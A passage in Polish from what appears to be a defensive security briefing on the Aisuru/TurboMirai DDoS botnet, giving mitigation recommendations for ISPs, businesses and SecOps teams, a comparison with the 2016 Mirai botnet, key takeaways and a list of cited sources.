  1. Instrumentacja wszystkich krawędzi (w tym outbound/crossbound), by detekcja i tłumienie wychodzących ataków miały ten sam priorytet co inbound.
  2. IDMS + iACL/BCP-y: stosować inteligentne systemy łagodzenia (np. Arbor TMS/Sightline) oraz najlepsze praktyki iACL, Flowspec i S/RTBH, pamiętając o limitach sprzętowych na reguły.
  3. SAV/BCP38 konsekwentnie na brzegu dostępowym; automatyzacja traceback→powiadomienie→kwarantanna dla zainfekowanych CPE.
  4. Proaktywny rekonesans wewnętrzny w celu identyfikacji podatnych CPE u klientów (policyjne procedury remediacji/wymiany).

Dla firm (odbiorców usług)

  • Dwutorowa strategia DDoS: łączona obrona on-prem/edge + transit/cloud scrubbing, testy runbooków i procedur kryzysowych.
  • Segmentacja i separacja: rozdzielone łącza dla ruchu użytkowników wewnętrznych vs. usług publicznych; whitelisty protokołów/portów i limity rate.
  • Ćwiczenia: regularne testy „table-top” i techniczne (z udziałem dostawcy scrubbingu), w tym scenariusze krótkich hiper-pików Tb/s.

Dla zespołów SecOps/NetOps

  • Telemetria L3/L4 z wysoką rozdzielczością (pps/bps/rozmiary pakietów), alerting na outbound anomaliach i „carpet-bombing”.
  • Higiena CPE w politykach zakupowych i SLA z ISP (wymagania dot. aktualizacji, wyłączenia usług zbędnych, domyślne hasła).

Różnice / porównania z innymi przypadkami

  • Mirai (2016) vs. TurboMirai (2025): Mirai słynęło z refleksji/amplifikacji i rekordów setek Gb/s; TurboMirai/Aisuru dostarcza wieloterabitowe piki bez spoofingu, czystym direct-path z botów CPE, przy czym moc per węzeł jest większa, a wektory bardziej zróżnicowane (np. GRE).
  • Klasyczne DDoS vs. DDoD: dzisiejsze kampanie nie zawsze „idą w wolumen” — często atakują mechanizmy obrony i łańcuchy dostawcze (multidestination, poziomy horyzontalne), co wymaga odporności architekturalnej, nie tylko „większej rury”.

Podsumowanie / kluczowe wnioski

  • Aisuru to na dziś najgroźniejszy przykład klasy TurboMirai: ataki >20 Tb/s, rekordowe piki ~29,6 Tb/s, uderzenia głównie w gaming/ISP, ale z efektem ubocznym dla szerokiego internetu.
  • Brak spoofingu to zarówno słabość (łatwiejszy traceback), jak i ostrzeżenie: jeśli outbound suppression nie jest wdrożony, wasza sieć może stać się źródłem problemu.
  • Priorytet na krawędziach: równoważenie inbound/outbound, testy gotowości, modernizacja narzędzi IDMS oraz egzekwowanie BCP.

Źródła / bibliografia

  • SecurityWeek: TurboMirai-Class ‘Aisuru’ Botnet Blamed for 20+ Tbps DDoS Attacks (28 października 2025). (SecurityWeek)
  • NETSCOUT ASERT: Aisuru and Related TurboMirai Botnet DDoS Attack Mitigation and Suppression—October 2025—v1.0 (24 października 2025). (NETSCOUT)
  • KrebsOnSecurity: DDoS Botnet Aisuru Blankets US ISPs in Record DDoS (10 października 2025) oraz KrebsOnSecurity Hit With Near-Record 6.3 Tbps DDoS (20 maja 2025). (Krebs on Security)
  • Akamai: Move Over, DDoS: It’s the Era of Distributed Denial of Defense (DDoD) (16 września 2025) – szerszy kontekst trendów. (akamai.com)